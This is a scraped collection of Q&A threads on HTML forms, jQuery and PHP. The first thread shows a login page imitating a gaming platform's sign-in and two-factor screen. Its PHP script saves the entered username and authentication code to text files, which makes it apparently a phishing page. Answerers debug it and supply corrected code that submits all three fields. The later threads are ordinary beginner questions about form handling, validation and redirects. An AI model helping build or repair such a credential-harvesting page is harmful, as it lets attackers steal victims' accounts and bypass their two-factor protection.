So I have this form. The way I have it now is that the user will enter their username and password, and then click sign in, (the authentication pin is hidden) until the sign in button is clicked on which the div is shown and the user is to enter their verification pin. The problem I am having is no matter what I submit into the text boxes, nothing gets submitted into my php script which I have here :
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
<!DOCTYPE html>
<form action="/loginaction.php" method="post" name="submit">
<input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br> <br>
<label for="userPassword">Password</label><br>
<input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
<div class="checkboxContainer">
<div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu. This feature is only available to PIN Guard enabled accounts.">
<input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
</div>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
<button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">
<div class="auth_button_h3">submit</div>
<div class="auth_button_h5">my authenticator code</div></button></div></div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="#">
Contact Support for help with account access </a>
</div>
</div>
</form>
</head>
The form names are both entered correctly and I have the action set to the correct script however when I check the text file that is generated there is no input. I would like the button that submits the verification pin to submit the form of all 3 details (user,pass,authcode) and the sign in button to just unhide the verification div(which is working fine). Any help would be appreciated.
The javascript function to submit the forms is
<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}
https://jsfiddle.net/jxd0g2z4/
The function calls for a form with the id 'submit' but your form does not have the id tag. It has only a name tag. You can add the tag or change the selector.
<form action="/loginaction.php" method="post" name="submit" id='submit'>
You shouldn't need to define the action if its already in the html, but if you did it would need to come before the submission function call.
Another mistake I just noticed was the syntax where the submitForms function is defined. The parenthesis belong after the function name as follows:
<script type="text/javascript">
function submitForms(){
document.getElementById("submit").action = "/loginaction.php";
document.getElementById("submit").submit();
}
It's also possible that the </head> tag at the end could be throwing something off. Below is an image where I replicated the html and javascript to be sure that it gets through.
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function submitForms(){
document.getElementById("submit").action = "/loginaction.php";
document.getElementById("submit").submit();
}
</script>
</head>
<body>
<form action="/loginaction.php" method="post" name="submit">
<input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br> <br>
<label for="userPassword">Password</label><br>
<input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
<div class="checkboxContainer">
<div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu. This feature is only available to PIN Guard enabled accounts.">
<input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
</div>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
<button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">
<div class="auth_button_h3">submit</div>
<div class="auth_button_h5">my authenticator code</div></button></div></div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="#">
Contact Support for help with account access </a>
</div>
</div>
</form>
</body>
</html>
Don't know if I get the problem right, but for me, it looks like that this would be a bit hard to solve for you.
I would suggest to load the first form only, this form is sended with ajax to a php file which do what you need to do (write the file) AND answer a new html code which you should replace with the original loaded html code. here you would send the second form.
Here you have the advantage that you can send the same forme again if there where errors.
EDIT
If you have jQuery loaded, you can use this function. your form will only need a class tag to activate it, like:
<form action="yourfile.php" id="myForm" class="ajax-form">
than this form will activate the function when submiting it.
$(".ajax-form").submit(function(e) {
e.preventDefault();
var form = $(this);
var formID = form.attr('id');
$.ajax({
context: this,
async: true,
type: "post",
url: form.prop('action'),
data: form.serialize(),
dataType: "html",
success: function(datavalues) {
$('#'+formID).replaceWith(datavalues);
},
error: function(json) {
console.log('ARMAGEDDON!!!');
},
});
return false;
});
Related
Below is the simple requirement in html, jQuery, servlet
Implementation: Forgot password module
Username text field and send button. --> OK
User enters username and press send button. --> Ok
Fire jquery on click event, post method --> OK
From DB get the security question for username --> OK
Get result in jquery call --> OK
display security question value in text field --> NOK
Some how I feel, the text field is updated and refreshed to old value.
so in my case,
step 1) Text value - placeholder property value
step 2) update from jQuery
step 3) again refreshed to placeholder property value
jQuery
$(document).on("click", "#btnuserName", function() {
$.post("/zmcwebadmin/ForgotPasswordServlet",function(securityQuestion) {
alert("I got the response in ajax "+ securityQuestion);//value is correct
$("input[type=text].txt_securityQuestion").val(securityQuestion); //problem here
console.log("txt_securityQuestion");
});
});
html
<input type="text" id="ForgotPassUname" name="user_name" class="changepassformat"placeholder="Enter Username">
<button class="buttonformat" id="btnuserName" name="btnuserName">SEND</button><br>
<input type="text" id="txt_securityQuestion" name="txt_securityQuestion" class="changepassformat" placeholder="Security Question"><br>
<input type="text" id="SecurityAns" name="SecurityAns" class="changepassformat" placeholder="Enter the Answer">
Entire html code
<body background="../Images/zebra_background.jpg">
<div id="header">
<span style="float: left">ZMC Server </span> <img
src="../Images/zebra_logo.png" width=150px height=50px
style="float: right; padding-top: 5px">
<form id="form_logout">
<input type="image" class="logbuttonformat" id="logoutbtn"
src="../Images/logout_deselected.png" onclick="changeLogoutImage()"
alt="submit" style="padding: auto">
</form>
</div>
<form id="form_forgotpswd" >
<p class="slectedNameformat"> FORGOT PASSWORD </p>
<input type="text" id="ForgotPassUname" name="user_name" class="changepassformat"placeholder="Enter Username">
<button class="buttonformat" id="btnuserName" name="btnuserName">SEND</button><br>
<input type="text" id="txt_securityQuestion" name="txt_securityQuestion" class="changepassformat">
<br>
<input type="text" id="SecurityAns" name="SecurityAns"class="changepassformat" placeholder="Enter the Answer">
<br><input type="button" class="buttonformat" value="SUBMIT">
</form>
</body>
</html>
You need id selector instead of class selector here as txt_securityQuestion is id of element and not its class:
$("#txt_securityQuestion").val(securityQuestion);
All I am looking to do here is take the form inputs of one form and submit it to another form linked to an iFrame. Purpose of this is that the visitor can preview what car he has selected in the iframe, if happy press save one form one and done.
I feel like I'm almost close, but I can't figure how to send the data from form one to the iFrame post and can't find any answers on how to do this. I got a single form version working as below, but can't pull in the data from form one to submit to iFrame
<form action="/save.php" method="post" id="save">
<input type="text" name="firstname">
<input type="text" name="carname">
<input type="text" name="cartype">
<button type="submit" name="save">Save</button>
</form>
<form action="/preview.php" target="iframe" method="post" id="iframebox">
<button id="preview" type="submit" name="reload" value="post">Reload</button>
</form>
<iframe name="iframe" src="/preview.php" ></iframe>
$('#preview').click(function(e){
e.preventDefault();
var d = $("#save").serialize();
$('#iframebox').append(d);
$('#iframebox').submit();
});
This is kind of dirty, but if you need to do it in an iFrame, it works. Your preview box currently was just a form element and you were appending query string text inside of it essentially. If you want to actually send it to the iframe itself, you need to parse the inputs and have it submit to the preview page that is in the targeted iFrame. You can either use static named inputs if you know that they will always exist, or if there are going to be additional inputs that you cannot predict, you can have the JS generate hidden input elements on the fly.
In form.php
<form action="save.php" method="post" id="save">
<input type="text" name="firstname" placeholder="firstname">
<input type="text" name="carname" placeholder="carname">
<input type="text" name="cartype" placeholder="cartype">
<button type="submit" name="save">
Save
</button>
<button id="preview">
Preview
</button>
</form>
<form action="preview.php" target="iframe" method="post" id="iframebox">
<input type="hidden" name="firstname">
<input type="hidden" name="carname">
<input type="hidden" name="cartype">
</form>
<iframe name="iframe" src="preview.php" ></iframe>
<script src="https://code.jquery.com/jquery-2.1.4.min.js"></script>
<script>
$('#preview').click(function(e) {
e.preventDefault();
$("#save input").each(function(index, value){
$('#iframebox input[name="' + value.name + '"]').val(value.value);
});
$('#iframebox').submit();
return false;
});
</script>
In preview.php
<ul>
<li>
First Name : <?php echo $_POST['firstname'] ? : "N/A"; ?>
</li>
<li>
Car Name : <?php echo $_POST['carname'] ? : "N/A"; ?>
</li>
<li>
Car Type : <?php echo $_POST['cartype'] ? : "N/A"; ?>
</li>
</ul>
I have got this form , actually working with newsletter mailer v1.3, I would like to validate email address on this form showing the alert in the same page as the form rather than going to a no designed white html error page where the newsletter mailer is showing the error.
Is that possible?I need help, I know I am not a programmer but believe me I am learning thousands of different things on this website :)
`
<section id="newsletter">
<div class="overlay"></div> <!-- overlay layer -->
<!-- container -->
<div class="container">
<h3 class="heading-l">SUBSCRIBE TO MY NEWSLETTER</h3>
<!-- subscribe form -->
<form id="FormViewForm" method="post" action="/NewsletterMailer/subscribe/4" accept-charset="utf-8">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[Form][id]" value="4" id="FormId" />
<input type="hidden" name="data[Form][type]" value="1" id="FormType" />
<input type="email" name="data[Form][e-mail]" value="" id="subscribe-email" placeholder="Enter your email..." required>
<input type="submit" value="+" class="large" id="subscribe-submit" onclick="emailValidator1(document.getElementById('emailer'), 'Not a Valid Email')"
value='Check Field'> </form>
<!-- /subscribe form -->
</div>
<!-- /container -->
</section>`
and I have this alert
<p class="error">Error - Please Enter A Valid Email Address</p>
I know about the validate stuff but I do not really how to implement it, I tried some examples from the web but unsuccessfully.
Place this in your HTML after the form.
<script src="http://www.codelib.net/home/jkm/val.js"></script>
<script>
email_verify_settings = {
'data[Form][e-mail]': { verify: email, filter: 1 }
};
document.getElementById('FormViewForm').onsubmit = function() {
return validate(this, email_verify_settings);
}
</script>
Are you sure that your form field's name is "data[Form][e-mail]" on the client side? That sounds a little bit weird, but if that's the correct name of the email input field, then the above script should work. Also, you should make a local copy of the validation script from codelib.net and put it on your own server.
I have a form with ,
In the form after user clicks on Submit , he will be taken to another page which would show all the data entered, Which would allow the user to verify the content.(User will have a look at the content , to see what he entered is correct).
Once user verifies he would submit the data and Insert to DB should be done.
I want to know a method in which i could carry on the approach, to do this.
How can i implement this
EDIT MORE EXPLAIN
addemp.php
The Main Div With Form
<div class="panel-body">
<form>
Employee : <input Type="text" id="name">
<input type="submit" value="check">
</div>
The Second Div in the same form should show once submit is clicked
<div class="submit panel-body">
<form>
Employee : <Employee Name asin main div>
<input type="submit" > <--! this submit would post data
</form>
</div>
how to pass the value from 1st div to the second , and from the second INSERT to db.how can i do without page refresh ?
Use following script on location file
$action='';
if(isset($_POST['submit'])){
//create form here
//Change the action of form
$action = 'save.php';
}
echo '<form method="POST" action="'.$action.'">
<input type="text" name="nric" value="'.isset($_POST['nric'])?$_POST['nric'].'" />
<input type="text" name="empName" value="'.isset($_POST['empName'])?$_POST['empName'].'" />
<input type="text" name="location" value="'.isset($_POST['location'])?$_POST['location'].'" />
<input type="submit" value="Submit"/>
</form>';
EDIT: You don't need to use a form in this case. You can simply use JQuery to show the data from text boxes in a DIV and a button that will POST the data for you on the server.
<input type="text" name="nric" id="nric" />
<input type="text" name="empName" id="empName" />
<input type="text" name="location" id="location" />
<input id="sndData" type="button" value="Submit" />
<div id="showData"></div>
JQuery:
$('#sndData').click(function(){
var makeData = "<p>NRIC: "+$('#nric').val()+"</p><p>Employee Name: "+$('#empName').val()+"</p><p>Location: "+$('#location').val()+"</p>";
$('#showData').html(makeData);
});
When you've done that, just create/show a HTML button that will POST the data for you.
If this answers your question, please mark it as an answer.
I have a secure zone log in form. These normally get processed then the user is taken to a specific page that is the landing page for the secure zone. I would like to change the log in form so that it logs them in the same way, but allows me to redirect them to a different page. How can I use javascript to accomplish this? The reason for doing this is that I have almost 3000 subscribers to this secure zone and don't want to have to duplicate them for a different secure zone. Any help is greatly appreciated.
html form:
<form name="catseczoneform74513" onSubmit="return checkWholeForm74513(this)" method="post" action="https://redlakewalleye.worldsecuresystems.com/ZoneProcess.aspx?ZoneID=12369&Referrer={module_siteUrl,true,true}&OID={module_oid}&OTYPE={module_otype}">
<div class="form">
<div class="item">
<label for="SZUsername">Username</label><br />
<input class="cat_textbox_small" type="text" name="Username" id="SZUsername" maxlength="255" />
</div>
<div class="item">
<label for="SZPassword">Password</label><br />
<input class="cat_textbox_small" type="password" name="Password" id="SZPassword" maxlength="255" autocomplete="off" />
</div>
<div class="item">
<input type="checkbox" name="RememberMe" id="RememberMe" /><label for="RememberMe">Remember Me</label>
</div>
<div class="item">
<input class="cat_button" type="submit" value="Log in" /> Lost password?
</div>
</div>
<script type="text/javascript" src="/CatalystScripts/ValidationFunctions.js"></script>
<script type="text/javascript">
//<![CDATA[
function checkWholeForm74513(theForm){var why = "";if (theForm.Username) why += isEmpty(theForm.Username.value, "Username");if (theForm.Password) why += isEmpty(theForm.Password.value, "Password");if (why != ""){alert(why);return false;}theForm.submit();return false;}
//]]>
</script>
</form>
To redirect a user to a different location with javascript, use the following:
window.location.href = "http://www.example.com";
As stated here, an alternate method is as follows:
window.location.replace("http://stackoverflow.com");
The first emulates the behavior of clicking on a link, the other acts as a HTTP redirect.
you can use document.location.href = "link";